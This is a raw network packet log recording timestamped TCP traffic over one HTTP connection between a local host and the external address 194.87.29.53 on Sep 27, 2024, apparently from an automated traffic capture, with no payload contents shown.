Sep 27, 2024 18:29:02.267827034 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.267857075 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.267877102 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.279373884 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.279428005 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.279437065 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.279463053 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.279481888 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.290817022 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.290899038 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.290900946 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.290908098 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.290965080 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.300425053 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.300447941 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.300461054 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.300514936 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.300550938 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.308595896 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.308671951 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.308685064 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.308697939 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.308723927 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.308751106 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.316581011 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.316621065 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.316631079 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.316662073 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.316678047 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.324167967 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.324223995 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.324233055 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.324368954 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.324368954 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.331523895 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.331533909 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.331585884 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.331604004 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.331629992 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.340224981 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.340236902 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.340245962 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.340405941 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.347999096 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.348021984 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.348030090 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.348067999 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.348088980 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.360361099 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.360429049 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.360446930 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.360456944 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.360590935 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.368597031 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.368655920 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.368680000 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.368731022 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.368731022 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.368778944 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.370765924 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.370825052 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.370878935 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.370889902 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.370938063 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.373061895 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.373106956 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.373116016 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.373119116 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.373153925 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.374505043 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.374517918 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.374527931 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.374567986 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.374950886 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.375003099 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.375005960 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.375011921 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.375053883 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.375813007 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.375866890 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.375869989 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.375876904 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.375916004 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.379887104 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.379929066 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.379940033 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.379946947 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.379966974 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.379992008 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.383778095 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.383841991 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.383918047 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.383929014 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.383980036 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.387618065 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.387645006 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.387655020 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.387675047 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.387700081 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.391583920 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.391606092 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.391618967 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.391650915 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.391675949 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.395570993 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.395591021 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.395600080 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.395631075 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.395667076 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.399755955 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.399775982 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.399785042 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.399813890 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.399833918 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.403336048 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.403403044 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.403722048 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.403779984 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.407202959 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.407260895 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.407320976 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.407334089 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.407382011 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.407520056 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.407576084 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.411875010 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.411895990 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.411905050 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.411930084 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.411957026 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.414938927 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.414959908 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.414968967 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.414998055 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.415021896 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.418642044 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.418704033 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.418706894 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.418713093 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.418746948 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.422559977 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.422612906 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.422621012 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.422631979 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.422672033 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.426122904 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.426135063 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.426143885 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.426176071 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.426208973 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.429733038 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.429802895 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.429821968 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.429831982 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.429867029 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.429898977 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.433173895 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.433183908 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.433193922 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.433226109 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.433254004 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.436717987 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.436738014 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.436745882 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.436774015 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.436809063 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.440412045 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.440438986 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.440448999 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.440493107 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.440519094 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.443734884 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.443747044 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.443757057 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.443789005 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.443816900 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.447089911 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.447151899 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.447153091 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.447160959 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.447187901 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.447206974 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.450352907 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.450404882 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.450417995 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.450459003 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.455653906 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.455712080 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.455733061 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.455744982 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.455759048 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.455786943 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.455816984 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.457277060 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.457288027 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.457338095 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.457813978 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.457865953 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.460815907 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.460870028 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.460930109 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.460941076 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.460977077 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.460989952 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.464195967 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.464236021 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.464248896 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.464253902 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.464273930 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.464303017 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.467310905 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.467336893 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.467346907 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.467360020 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.467375040 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.467406034 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.470769882 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.470818996 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.470829010 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.470833063 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.470865011 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.472891092 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.472919941 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.472929001 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.472948074 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.472969055 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.472999096 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.475075006 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.475102901 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.475111961 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.475132942 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.475146055 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.475171089 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.477456093 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.477479935 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.477518082 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.477535963 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.477536917 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.477602005 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.479640961 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.479681015 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.479690075 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.479703903 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.479715109 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.479744911 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.481772900 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.481826067 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.481831074 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.481841087 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.481873989 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.481889963 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.483869076 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.483880997 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.483891010 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.483922005 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.483944893 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.485928059 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.485943079 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.485954046 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.485980034 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.485995054 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.488007069 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.488035917 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.488045931 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.488064051 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.488086939 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.489985943 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.490015984 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.490025043 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.490036964 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.490067959 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.491811037 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.491859913 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.491869926 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.491878986 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.491904020 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.491931915 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.493607044 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.493632078 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.493640900 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.493664980 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.493689060 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.495474100 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.495491982 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.495521069 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.495538950 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.495718956 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.495767117 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.497421026 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.497478008 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.497556925 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.497612000 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.498351097 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.498400927 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.499053955 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.499073982 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.499082088 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.499108076 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.499131918 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.501018047 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.501070976 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.501070976 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.501085997 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.501115084 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.501135111 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.502836943 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.502890110 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.502912998 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.502957106 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.502960920 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.503006935 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.504731894 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.504750967 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.504761934 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.504784107 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.504802942 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.506331921 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.506342888 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.506354094 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.506387949 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.506424904 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.508105993 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.508116961 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.508177996 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.508219957 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.508266926 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.510618925 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.510631084 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.510641098 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.510678053 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.510710955 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.515089035 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.515157938 CEST	60865	80	192.168.2.4	194.87.29.53
